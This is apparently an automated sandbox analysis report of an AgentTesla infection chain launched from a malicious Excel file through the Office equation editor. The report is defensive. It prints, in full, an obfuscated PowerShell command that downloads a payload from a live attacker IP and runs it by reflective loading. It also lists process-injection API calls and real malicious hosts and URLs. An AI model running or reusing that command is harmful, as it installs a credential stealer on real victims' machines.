Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Check if machine is in data center or colocation facility
Source: global traffic HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: AddInProcess32.exe, 00000008.00000002.619828282.000000000241C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: SBIEDLL.DLLT-
Source: powershell.exe, 00000006.00000002.473828198.0000000003419000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.473828198.00000000033B9000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000008.00000002.619369969.0000000000402000.00000040.00000400.00020000.00000000.sdmp, AddInProcess32.exe, 00000008.00000002.619828282.0000000002395000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: SBIEDLL.DLL
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Memory allocated: 240000 memory reserve | memory write watch Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Memory allocated: 2360000 memory reserve | memory write watch Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Memory allocated: 670000 memory reserve | memory write watch Jump to behavior
Contains long sleeps (>= 3 min)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found WSH timer for Javascript or VBS script (likely evasive script)
Source: C:\Windows\SysWOW64\wscript.exe Window found: window name: WSH-Timer Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1037 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 3696 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 2692 Thread sleep time: -180000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe TID: 532 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1928 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2352 Thread sleep time: -1844674407370954s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2488 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 2772 Thread sleep time: -60000s >= -30000s Jump to behavior
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: AddInProcess32.exe, 00000008.00000002.619828282.000000000241C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: VMware
Source: AddInProcess32.exe, 00000008.00000002.619828282.000000000241C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: vmware
Source: AddInProcess32.exe, 00000008.00000002.619369969.0000000000402000.00000040.00000400.00020000.00000000.sdmp Binary or memory string: VMwareVBoxESelect * from Win32_ComputerSystem
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 8_2_00245318 CheckRemoteDebuggerPresent, 8_2_00245318
Checks if the current process is being debugged
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process queried: DebugPort Jump to behavior
Contains functionality to read the PEB
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_03620639 mov edx, dword ptr fs:[00000030h] 2_2_03620639
Enables debug privileges
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\SysWOW64\wscript.exe Network Connect: 91.92.254.29 80 Jump to behavior
Yara detected Powershell download and execute
Source: Yara match File source: Process Memory Space: powershell.exe PID: 540, type: MEMORYSTR
.NET source code references suspicious native API functions
Source: 6.2.powershell.exe.61e08f4.3.raw.unpack, RunPEE.cs Reference to suspicious API methods: Conversions.ToGenericParameter<CreateApi>((object)Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref *(string*)(&name)), ref *(string*)(&method)), typeof(CreateApi)))
Source: 6.2.powershell.exe.61e08f4.3.raw.unpack, RunPEE.cs Reference to suspicious API methods: Conversions.ToGenericParameter<CreateApi>((object)Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref *(string*)(&name)), ref *(string*)(&method)), typeof(CreateApi)))
Source: 6.2.powershell.exe.61e08f4.3.raw.unpack, RunPEE.cs Reference to suspicious API methods: WriteProcessMemory(processInformation.ProcessHandle, num7 + num14, array2, array2.Length, ref bytesWritten)
Source: 6.2.powershell.exe.61e08f4.3.raw.unpack, RunPEE.cs Reference to suspicious API methods: lIuveTP8wwjVYKV1XP(VirtualAllocEx, processInformation.ProcessHandle, 0, length, 12288, 64)
Source: 6.2.powershell.exe.61e08f4.3.raw.unpack, RunPEE.cs Reference to suspicious API methods: ReadProcessMemory(processInformation.ProcessHandle, num15 + 8, ref buffer, 4, ref bytesWritten)
Source: 6.2.powershell.exe.33b9a80.1.raw.unpack, uRcQkDeJoO4.cs Reference to suspicious API methods: zHSk.OpenProcess(C6Nh1Wz8.DuplicateHandle, bInheritHandle: true, (uint)_4aIajlwkXEt2.ProcessID)
Injects a PE file into a foreign processes
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 value starts with: 4D5A Jump to behavior
Writes to foreign memory regions
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 402000 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 43E000 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 440000 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 7EFDE008 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\datingloverstartingAgain.vbs" Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "(('by6link = EnNhttp://91.92.254.194/imge/new-image_v.jpgEnN; by6webClient ='+' New-Object System.N'+'et.WebClient; tr'+'y { by6downloadedData = b'+'y6webClient.DownloadData(by6link) } catch { Write'+'-H'+'ost EnNFailed To download dat'+'a f'+'rom by6linkEnN -ForegroundColor Red; exit }; if (by6downloadedData -ne by6null) { by6ima'+'geT'+'ext = [System.Text.Encoding]::UTF8.GetString(by6downloadedData); by6star'+'tFlag'+' = EnN<<BASE64_START>>EnN; by6endFlag = EnN<<BASE64_END>>EnN; by6startIndex = by6imageText.IndexOf(by6startFlag); by6endIndex = by6ima'+'geTe'+'xt.I'+'ndexOf(by6en'+'dFlag); if (by6startIndex'+' -ge 0 -and b'+'y6endIndex -gt by6startIndex) { by6st'+'artIndex += by6startFl'+'ag.Length; by6base6'+'4Length = by6endIndex - by6startIndex; by6base64Co'+'mmand = by6imageText.Substring(by6startInd'+'ex, by6ba'+'se64Length); by6commandByt'+'es = [System.Convert]::FromBase6'+'4String(by6base64Command); by6loadedAssembly = [System.Reflection.Assembly]::L'+'oad(by6commandBytes); by6t'+'ype = by6loadedAssembly.GetType(EnNRunPE.HomeEnN); by6method = by6type.GetMethod(EnNVAIEnN).Invoke(by6null, [object'+'[]] (E'+'nNtxt.46esab/841.612.3.291//:ptthEnN , EnNdesativadoEnN , '+'EnNdesativa'+'doEnN , EnNdesativadoEnN,EnNA'+'dd'+'InProcess32EnN,EnNEn'+'N)) } }')-CREPLACE([CHar]98+[CHar]121+[CHar]54),[CHar]36 -rEpLaCe([CHar]69+[CHar]110+[CHar]78),[CHar]39)| iex" Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command "(('by6link = ennhttp://91.92.254.194/imge/new-image_v.jpgenn; by6webclient ='+' new-object system.n'+'et.webclient; tr'+'y { by6downloadeddata = b'+'y6webclient.downloaddata(by6link) } catch { write'+'-h'+'ost ennfailed to download dat'+'a f'+'rom by6linkenn -foregroundcolor red; exit }; if (by6downloadeddata -ne by6null) { by6ima'+'get'+'ext = [system.text.encoding]::utf8.getstring(by6downloadeddata); by6star'+'tflag'+' = enn<<base64_start>>enn; by6endflag = enn<<base64_end>>enn; by6startindex = by6imagetext.indexof(by6startflag); by6endindex = by6ima'+'gete'+'xt.i'+'ndexof(by6en'+'dflag); if (by6startindex'+' -ge 0 -and b'+'y6endindex -gt by6startindex) { by6st'+'artindex += by6startfl'+'ag.length; by6base6'+'4length = by6endindex - by6startindex; by6base64co'+'mmand = by6imagetext.substring(by6startind'+'ex, by6ba'+'se64length); by6commandbyt'+'es = [system.convert]::frombase6'+'4string(by6base64command); by6loadedassembly = [system.reflection.assembly]::l'+'oad(by6commandbytes); by6t'+'ype = by6loadedassembly.gettype(ennrunpe.homeenn); by6method = by6type.getmethod(ennvaienn).invoke(by6null, [object'+'[]] (e'+'nntxt.46esab/841.612.3.291//:ptthenn , enndesativadoenn , '+'enndesativa'+'doenn , enndesativadoenn,enna'+'dd'+'inprocess32enn,ennen'+'n)) } }')-creplace([char]98+[char]121+[char]54),[char]36 -replace([char]69+[char]110+[char]78),[char]39)| iex"
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command "(('by6link = ennhttp://91.92.254.194/imge/new-image_v.jpgenn; by6webclient ='+' new-object system.n'+'et.webclient; tr'+'y { by6downloadeddata = b'+'y6webclient.downloaddata(by6link) } catch { write'+'-h'+'ost ennfailed to download dat'+'a f'+'rom by6linkenn -foregroundcolor red; exit }; if (by6downloadeddata -ne by6null) { by6ima'+'get'+'ext = [system.text.encoding]::utf8.getstring(by6downloadeddata); by6star'+'tflag'+' = enn<<base64_start>>enn; by6endflag = enn<<base64_end>>enn; by6startindex = by6imagetext.indexof(by6startflag); by6endindex = by6ima'+'gete'+'xt.i'+'ndexof(by6en'+'dflag); if (by6startindex'+' -ge 0 -and b'+'y6endindex -gt by6startindex) { by6st'+'artindex += by6startfl'+'ag.length; by6base6'+'4length = by6endindex - by6startindex; by6base64co'+'mmand = by6imagetext.substring(by6startind'+'ex, by6ba'+'se64length); by6commandbyt'+'es = [system.convert]::frombase6'+'4string(by6base64command); by6loadedassembly = [system.reflection.assembly]::l'+'oad(by6commandbytes); by6t'+'ype = by6loadedassembly.gettype(ennrunpe.homeenn); by6method = by6type.getmethod(ennvaienn).invoke(by6null, [object'+'[]] (e'+'nntxt.46esab/841.612.3.291//:ptthenn , enndesativadoenn , '+'enndesativa'+'doenn , enndesativadoenn,enna'+'dd'+'inprocess32enn,ennen'+'n)) } }')-creplace([char]98+[char]121+[char]54),[char]36 -replace([char]69+[char]110+[char]78),[char]39)| iex" Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe VolumeInformation Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected AgentTesla
Source: Yara match File source: 8.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.powershell.exe.33b9a80.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.powershell.exe.33b9a80.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000008.00000002.619369969.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.473828198.00000000033B9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.473828198.0000000003419000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: powershell.exe PID: 540, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: AddInProcess32.exe PID: 2888, type: MEMORYSTR
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini Jump to behavior
Tries to steal Mail credentials (via file / registry access)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: 8.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.powershell.exe.33b9a80.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.powershell.exe.33b9a80.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000008.00000002.619369969.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.473828198.00000000033B9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.619828282.0000000002395000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.473828198.0000000003419000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: powershell.exe PID: 540, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: AddInProcess32.exe PID: 2888, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected AgentTesla
Source: Yara match File source: 8.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.powershell.exe.33b9a80.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.powershell.exe.33b9a80.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000008.00000002.619369969.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.473828198.00000000033B9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.473828198.0000000003419000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: powershell.exe PID: 540, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: AddInProcess32.exe PID: 2888, type: MEMORYSTR
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1467952 Sample: Nuevo orden.xlam.xlsx Startdate: 05/07/2024 Architecture: WINDOWS Score: 100 43 Snort IDS alert for network traffic 2->43 45 Found malware configuration 2->45 47 Malicious sample detected (through community Yara rule) 2->47 49 21 other signatures 2->49 9 EXCEL.EXE 6 9 2->9         started        process3 file4 29 C:\Users\user\...\~$Nuevo orden.xlam.xlsx, data 9->29 dropped 12 EQNEDT32.EXE 12 9->12         started        process5 dnsIp6 41 192.3.216.148, 49161, 49164, 80 AS-COLOCROSSINGUS United States 12->41 31 C:\Users\...\datingloverstartingAgain.vbs, Unicode 12->31 dropped 33 C:\Users\...\datingloverstartingAgain[1].vbs, Unicode 12->33 dropped 73 Office equation editor establishes network connection 12->73 75 Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802) 12->75 17 wscript.exe 1 12->17         started        file7 signatures8 process9 dnsIp10 35 91.92.254.29, 49162, 80 THEZONEBG Bulgaria 17->35 51 System process connects to network (likely due to code injection or exploit) 17->51 53 Suspicious powershell command line found 17->53 55 Wscript starts Powershell (via cmd or directly) 17->55 57 3 other signatures 17->57 21 powershell.exe 12 4 17->21         started        signatures11 process12 dnsIp13 37 91.92.254.194, 49163, 80 THEZONEBG Bulgaria 21->37 59 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 21->59 61 Writes to foreign memory regions 21->61 63 Injects a PE file into a foreign processes 21->63 25 AddInProcess32.exe 12 2 21->25         started        signatures14 process15 dnsIp16 39 ip-api.com 208.95.112.1, 49165, 80 TUT-ASUS United States 25->39 65 Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines) 25->65 67 Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines) 25->67 69 Tries to steal Mail credentials (via file / registry access) 25->69 71 3 other signatures 25->71 signatures17
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
91.92.254.29
 unknown Bulgaria
34368 THEZONEBG true
208.95.112.1
 ip-api.com United States
53334 TUT-ASUS true
192.3.216.148
 unknown United States
36352 AS-COLOCROSSINGUS true
91.92.254.194
 unknown Bulgaria
34368 THEZONEBG true

Contacted Domains

Name IP Active
ip-api.com 208.95.112.1 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://91.92.254.194/imge/new-image_v.jpg true
  • 1%, Virustotal, Browse
  • Avira URL Cloud: malware
 unknown
http://192.3.216.148/base64.txt true
  • 1%, Virustotal, Browse
  • Avira URL Cloud: safe
 unknown
http://192.3.216.148/datingloverstartingAgain.vbs true
  • 0%, Virustotal, Browse
  • Avira URL Cloud: safe
 unknown
http://ip-api.com/line/?fields=hosting false
  • URL Reputation: safe
 unknown